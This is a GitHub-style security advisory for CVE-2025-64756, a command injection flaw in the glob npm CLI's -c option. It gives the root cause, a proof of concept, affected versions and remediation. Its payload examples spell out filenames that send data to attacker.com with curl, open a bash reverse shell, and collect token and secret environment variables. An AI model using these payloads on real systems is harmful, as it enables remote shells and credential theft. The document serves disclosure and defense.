CVE-2025-64756
ADVISORY - githubSummary
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:
- User runs
glob -c <command> <pattern> - CLI finds files matching the pattern
- Matched filenames are collected into an array
- Command is executed with matched filenames as arguments using
shell: true - Shell interprets metacharacters in filenames as command syntax
- Malicious filenames execute arbitrary commands
Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (
glob(),globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
- Files with names containing shell metacharacters:
$(), backticks,;,&,|, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using
glob -con untrusted content
PoC
Setup Malicious File:
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:
- The echo command executes normally
- Additionally: The
$(touch injected_poc)in the filename is evaluated by the shell - A new file
injected_pocis created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution:
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses
glob -cto process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use
glob -cfor file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
Platform-Specific Risks:
- POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
- Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
- Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm
- Package name: glob
- Component: CLI only (
src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
- Introduced: v10.2.0 (first release with CLI containing
-c/--cmdoption) - Patched versions: 11.1.0and 10.5.0
Scope Limitation:
- Library API Not Affected: Core glob functions (
glob(),globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with
-c/--cmdoption is vulnerable
Remediation
- Upgrade to
glob@10.5.0,glob@11.1.0, or higher, as soon as possible. - If any
globCLI actions fail, then convert commands containing positional arguments, to use the--cmd-arg/-goption instead. - As a last resort, use
--shellto maintainshell:truebehavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Common Weakness Enumeration (CWE)
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
GitHub
1.6
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| glob | npm | - | - | >=10.2.0,<10.5.0 | 10.5.0 |
| glob | npm | - | - | >=11.0.0,<11.1.0 | 11.1.0 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
NIST
1.6
CVSS SCORE
7.5highAlpine
-
Debian
-
CVSS SCORE
N/AlowUbuntu
-
CVSS SCORE
N/AmediumChainguard
CGA-2qc4-rjwc-mxrf
-
Chainguard
CGA-3jh7-rgx9-q559
-
Chainguard
CGA-552j-f9mx-8793
-
Chainguard
CGA-5wgq-vg7f-3xwr
-
Chainguard
CGA-657q-jgmc-rv4j
-
Chainguard
CGA-8jc5-84hh-9gp4
-
Chainguard
CGA-c8pj-3r34-82wj
-
Chainguard
CGA-cwxg-f6r2-49m2
-
Chainguard
CGA-fmh2-26vj-hjq8
-
Chainguard
CGA-g2p2-h5pv-5f9v
-
Chainguard
CGA-h7wr-49rm-hjmq
-
Chainguard
CGA-j2cf-xw24-4xc2
-
Chainguard
CGA-jfr5-28rg-xprx
-
Chainguard
CGA-mp2q-x58v-2q7w
-
Chainguard
CGA-mv6g-vp5r-3cqf
-
Chainguard
CGA-pf8c-pj3g-vm33
-
Chainguard
CGA-q7mc-f2mp-f9gc
-
Chainguard
CGA-qg68-mrjv-2hg8
-
Chainguard
CGA-r66q-rc78-f8gq
-
Chainguard
CGA-r6jp-555j-r6x9
-
Chainguard
CGA-rjqp-fc8w-356f
-
Chainguard
CGA-w6c8-gr44-j399
-
Chainguard
CGA-w7px-c2jf-3g47
-
minimos
MINI-2459-hf3r-4v73
-
minimos
MINI-5r94-9gvj-5r5v
-
minimos
MINI-68rg-7v88-q2ch
-
minimos
MINI-6w7m-9pfq-rcx3
-
minimos
MINI-7p2q-vxvf-x883
-
minimos
MINI-9673-g3fg-pmh2
-
minimos
MINI-g2hq-g6c7-r9mx
-
minimos
MINI-jj96-8mhh-vrx8
-
minimos
MINI-q9vq-p8hj-62q6
-
minimos
MINI-vpfw-vgx8-w6jj
-
minimos
MINI-vqx6-4526-jjcr
-
minimos
MINI-wwc7-3mj2-xgc6
-
minimos
MINI-xh62-4958-j2pp
-